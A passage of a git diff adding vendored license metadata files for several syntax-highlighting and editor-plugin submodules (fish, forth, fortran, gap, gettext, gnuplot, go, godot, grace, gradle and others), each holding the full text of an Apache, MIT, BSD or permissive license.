+    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+    WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/firrtl-syntax.dep.yml b/vendor/licenses/git_submodule/firrtl-syntax.dep.yml
new file mode 100644
index 0000000000..bf532034e7
--- /dev/null
+++ b/vendor/licenses/git_submodule/firrtl-syntax.dep.yml
@@ -0,0 +1,211 @@
+---
+name: firrtl-syntax
+version: 9018a8555cc12fed460db7b7fde6cdc3649796bf
+type: git_submodule
+homepage: https://github.com/chipsalliance/firrtl-syntax.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/fish-tmbundle.dep.yml b/vendor/licenses/git_submodule/fish-tmbundle.dep.yml
new file mode 100644
index 0000000000..27b553f6f8
--- /dev/null
+++ b/vendor/licenses/git_submodule/fish-tmbundle.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: fish-tmbundle
+version: 25e83e24225b72c97d173e829734f8bc3dfcafe7
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Leonard Chin
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/forth.dep.yml b/vendor/licenses/git_submodule/forth.dep.yml
new file mode 100644
index 0000000000..3340ce9a69
--- /dev/null
+++ b/vendor/licenses/git_submodule/forth.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: forth
+version: 0cf0ec91f65717903b41ea6cd62f6cd17788f0d0
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/fortran.tmbundle.dep.yml b/vendor/licenses/git_submodule/fortran.tmbundle.dep.yml
new file mode 100644
index 0000000000..f2fe05d924
--- /dev/null
+++ b/vendor/licenses/git_submodule/fortran.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: fortran.tmbundle
+version: 5f8326483b8678dca14e0412aec11dca195eb034
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/gap-tmbundle.dep.yml b/vendor/licenses/git_submodule/gap-tmbundle.dep.yml
new file mode 100644
index 0000000000..c9cd49a7bb
--- /dev/null
+++ b/vendor/licenses/git_submodule/gap-tmbundle.dep.yml
@@ -0,0 +1,13 @@
+---
+name: gap-tmbundle
+version: 8b090cbfbff2c02df21d82f92bfc2abcf755cc64
+type: git_submodule
+homepage: https://github.com/dhowden/gap-tmbundle
+license: permissive
+licenses:
+- sources: README.md
+  text: "If not otherwise specified, files in this repository fall under the following
+    license:\n\n\tPermission to copy, use, modify, sell and distribute this\n\tsoftware
+    is granted. This software is provided \"as is\" without\n\texpress or implied
+    warranty, and with no claim as to its\n\tsuitability for any purpose."
+notices: []
diff --git a/vendor/licenses/git_submodule/gemfile-lock-tmlanguage.dep.yml b/vendor/licenses/git_submodule/gemfile-lock-tmlanguage.dep.yml
new file mode 100644
index 0000000000..0e8cd8d7e7
--- /dev/null
+++ b/vendor/licenses/git_submodule/gemfile-lock-tmlanguage.dep.yml
@@ -0,0 +1,31 @@
+---
+name: gemfile-lock-tmlanguage
+version: ce6408e07bb035c7a86a1b0cf3d4fc0f1658de24
+type: git_submodule
+homepage: https://github.com/hmarr/gemfile-lock-tmlanguage
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2021 Harry Marr
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+    of the Software, and to permit persons to whom the Software is furnished to do
+    so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/gemini-vscode.dep.yml b/vendor/licenses/git_submodule/gemini-vscode.dep.yml
new file mode 100644
index 0000000000..606cf88e98
--- /dev/null
+++ b/vendor/licenses/git_submodule/gemini-vscode.dep.yml
@@ -0,0 +1,31 @@
+---
+name: gemini-vscode
+version: 72ef757a0cb5d1e7137edd97579a92588f7e54cb
+type: git_submodule
+homepage: https://github.com/printfn/gemini-vscode.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2022
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/gettext.tmbundle.dep.yml b/vendor/licenses/git_submodule/gettext.tmbundle.dep.yml
new file mode 100644
index 0000000000..5f677aeae5
--- /dev/null
+++ b/vendor/licenses/git_submodule/gettext.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: gettext.tmbundle
+version: '08bb69558d82ada8d4f36b8869f871ce69014749'
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/gnuplot-tmbundle.dep.yml b/vendor/licenses/git_submodule/gnuplot-tmbundle.dep.yml
new file mode 100644
index 0000000000..3b2b151b7c
--- /dev/null
+++ b/vendor/licenses/git_submodule/gnuplot-tmbundle.dep.yml
@@ -0,0 +1,27 @@
+---
+type: git_submodule
+name: gnuplot-tmbundle
+version: 1950830563977a831eb127e4f92307dbf43830cb
+license: mit
+licenses:
+- text: |-
+    Copyright 2008 Matt Foster
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/go-tmbundle.dep.yml b/vendor/licenses/git_submodule/go-tmbundle.dep.yml
new file mode 100644
index 0000000000..6ccaa09272
--- /dev/null
+++ b/vendor/licenses/git_submodule/go-tmbundle.dep.yml
@@ -0,0 +1,22 @@
+---
+name: go-tmbundle
+version: 0bdec37eded22e8416d046fe28e50d2c5c666798
+type: git_submodule
+homepage: https://github.com/AlanQuatermain/go-tmbundle
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: |-
+    Copyright (c) 2009, Jim Dovey
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+    - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+    - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+    - Neither the name of the copyright holder nor the names of the software's contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+    Portions based on Allan Odgaard's C bundle for TextMate.
+notices: []
diff --git a/vendor/licenses/git_submodule/godot-vscode-plugin.dep.yml b/vendor/licenses/git_submodule/godot-vscode-plugin.dep.yml
new file mode 100644
index 0000000000..e6e69440ee
--- /dev/null
+++ b/vendor/licenses/git_submodule/godot-vscode-plugin.dep.yml
@@ -0,0 +1,31 @@
+---
+name: godot-vscode-plugin
+version: d915dccba14ee1e08fdd70b2cc26d98c0647fd80
+type: git_submodule
+homepage: https://github.com/godotengine/godot-vscode-plugin
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2016-2022 The Godot Engine community
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/grace.dep.yml b/vendor/licenses/git_submodule/grace.dep.yml
new file mode 100644
index 0000000000..602c639f28
--- /dev/null
+++ b/vendor/licenses/git_submodule/grace.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: grace
+version: 5a142d38b03da55b0e816a2cece39cd7fd1d7345
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2011-2016 Timothy Jones
+
+    Permission is hereby granted, free of charge, to any person obtaining a
+    copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be included
+    in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+    OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/gradle.tmbundle.dep.yml b/vendor/licenses/git_submodule/gradle.tmbundle.dep.yml
new file mode 100644
index 0000000000..7a655987ce
--- /dev/null
+++ b/vendor/licenses/git_submodule/gradle.tmbundle.dep.yml
@@ -0,0 +1,182 @@
+---
+type: git_submodule
+name: gradle.tmbundle
+version: 772fc9d008f19b4041a6cee7e7659b18565da0ff
+license: apache-2.0
+licenses:
+- text: |-
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
